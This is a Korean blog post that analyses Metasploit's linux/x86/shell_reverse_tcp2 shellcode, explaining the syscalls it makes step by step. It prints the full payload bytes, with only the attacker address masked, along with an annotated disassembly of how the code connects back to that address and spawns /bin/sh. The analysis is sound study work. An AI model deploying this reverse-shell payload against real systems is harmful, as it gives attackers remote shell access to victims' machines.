linux/x86/shell_reverse_tcp2 on Metasploit
2011/02/24 23:16
# linux/x86/shell_reverse_tcp2 - 70 bytes
# http://www.metasploit.com
# LHOST=xxx.xxx.xxx.xxx, LPORT=31337, ReverseConnectRetries=5,
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependChrootBreak=false,
# AppendExit=false, InitialAutoRunScript=, AutoRunScript=
buf =
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80" +
"\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xXX\xXX" +
"\xXX\xXX\x66\x68\x7a\x69\x43\x66\x53\x89\xe1\xb0\x66\x50" +
"\x51\x53\x89\xe1\x43\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68" +
"\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" 위 쉘코드는 메타스플로잇1에서 linux/x86/shell_reverse_tcp2 모듈로 만든 코드입니다. Remote Exploit을 할 때 사용하는 코드인데 어떻게 수행되는지 알아보고자 분석해봤습니다.
우선 시스템함수와 int 0x80을 이용한 코드를 분석할 때는 다음을 유념해야 합니다.
- eax 레지스터는 시스템함수 번호 (syscall number)
- ebx, ecx, edx 순으로 함수의 인자들이 구성
그래서 분석을 할 때 int 0x80이 나오기 전에 eax의 값을 확인해야 하고, 그에 맞는 시스템함수를 확인하여서 인자 구성이 어떻게 되는지를 알아야 합니다. 시스템함수는 32비트 기준으로 /usr/include/asm/unistd_32.h 파일을 참조하면 알 수 있습니다. 인자 구성을 확인할 때는 스택이 어떻게 변하는지도 살펴야 합니다.
이 점들을 유념하여 linux/x86/shell_reverse_tcp2 모듈을 분석한 내용이 아래와 같습니다.
/*
sockfd = socket (AF_INET, SOCK_STREAM, 0);
*/
0x804a040 : xor %ebx,%ebx
0x804a042 : push %ebx
0x804a043 : inc %ebx // ebx = 0x1
0x804a044 : push %ebx
0x804a045 : push $0x2
0x804a047 : push $0x66
0x804a049 : pop %eax // eax = 0x66
0x804a04a : mov %esp,%ecx // ecx = {0x2, 0x1, 0x0}
0x804a04c : int $0x80 // socketcall (0x1, ecx)
/*
ecx = stderr;
if (ecx >= 0) dup2 (sockfd, ecx--);
*/
0x804a04e : xchg %eax,%ebx // ebx = sockfd
0x804a04f : pop %ecx // ecx = 0x2
0x804a050 : mov $0x3f,%al // eax = 0x3f
0x804a052 : int $0x80 // dup2 (sockfd, 0x2)
0x804a054 : dec %ecx
0x804a055 : jns 0x804a050
/*
sockaddr = {0x7a690002, 0xXXXXXXXX};
connect (stderr, &sockaddr, 0x66);
*/
0x804a057 : pop %ebx
0x804a058 : pop %edx // edx = 0x0
0x804a059 : push $0xXXXXXXXX // LHOST
0x804a05e : pushw $0x697a // LPORT
0x804a062 : inc %ebx
0x804a063 : push %bx
0x804a065 : mov %esp,%ecx // sockaddr = ecx = {0x7a690002,0xXXXXXXXX}
0x804a067 : mov $0x66,%al // eax = 0x66
0x804a069 : push %eax
0x804a06a : push %ecx
0x804a06b : push %ebx
0x804a06c : mov %esp,%ecx // ecx = {0x2, &sockaddr, 0x66}
0x804a06e : inc %ebx // ebx = 0x3
0x804a06f : int $0x80 // socketcall (0x3, ecx)
/*
*args = {"/bin//sh", 0};
execve (args[0], args, 0);
*/
0x804a071 : push %edx
0x804a072 : push $0x68732f2f
0x804a077 : push $0x6e69622f
0x804a07c : mov %esp,%ebx // args[0] = ebx = "/bin//sh"
0x804a07e : push %edx
0x804a07f : push %ebx
0x804a080 : mov %esp,%ecx // args = ecx = {"/bin//sh", 0x0}
0x804a082 : mov $0xb,%al // eax = 0xb
0x804a084 : int $0x80 // execve (args[0], args, 0x0)0x66에 해당하는 시스템함수는 socketcall2입니다. 소켓 함수들은 위 로그처럼 커널의 socketcall 함수를 거쳐서 구현되죠. socketcall 함수는 인자를 2개 받습니다. 첫 번째 인자는 어떤 소켓 함수를 부를지 결정하는 값이고, 두 번째 인자는 소켓 함수에 전달될 인자들의 테이블입니다.
그리고 0x3f에 해당하는 시스템함수는 dup23 입니다. 파일 디스크립터를 복사하는 함수입니다. 이 쉘코드는 소켓의 파일 디스크립터를 stderr(0x2), stdout(0x1), stdin(0x0)으로 차례대로 복사합니다. 이렇게 함으로써 xinetd4 처럼 표준 입출력으로 소켓 통신이 이루어지는 것이죠.
주석.
"0x03 Linux RCE" 분류의 다른 글
| The Linux Kernel Module Programming Guide v2.6 | 2011/11/20 |
| BOF에 의한 연속적인 함수 호출 - 루피의 모험 | 2011/03/01 |
| 함수 에필로그(leaveret) 에 의한 스택 변화 | 2011/02/22 |
| The Lord of The BOF - Redhat 클리어!! | 2011/02/13 |
| RET Instruction in Intel Machine | 2011/02/03 |
Trackback Address:http://hisjournal.net/blog/trackback/356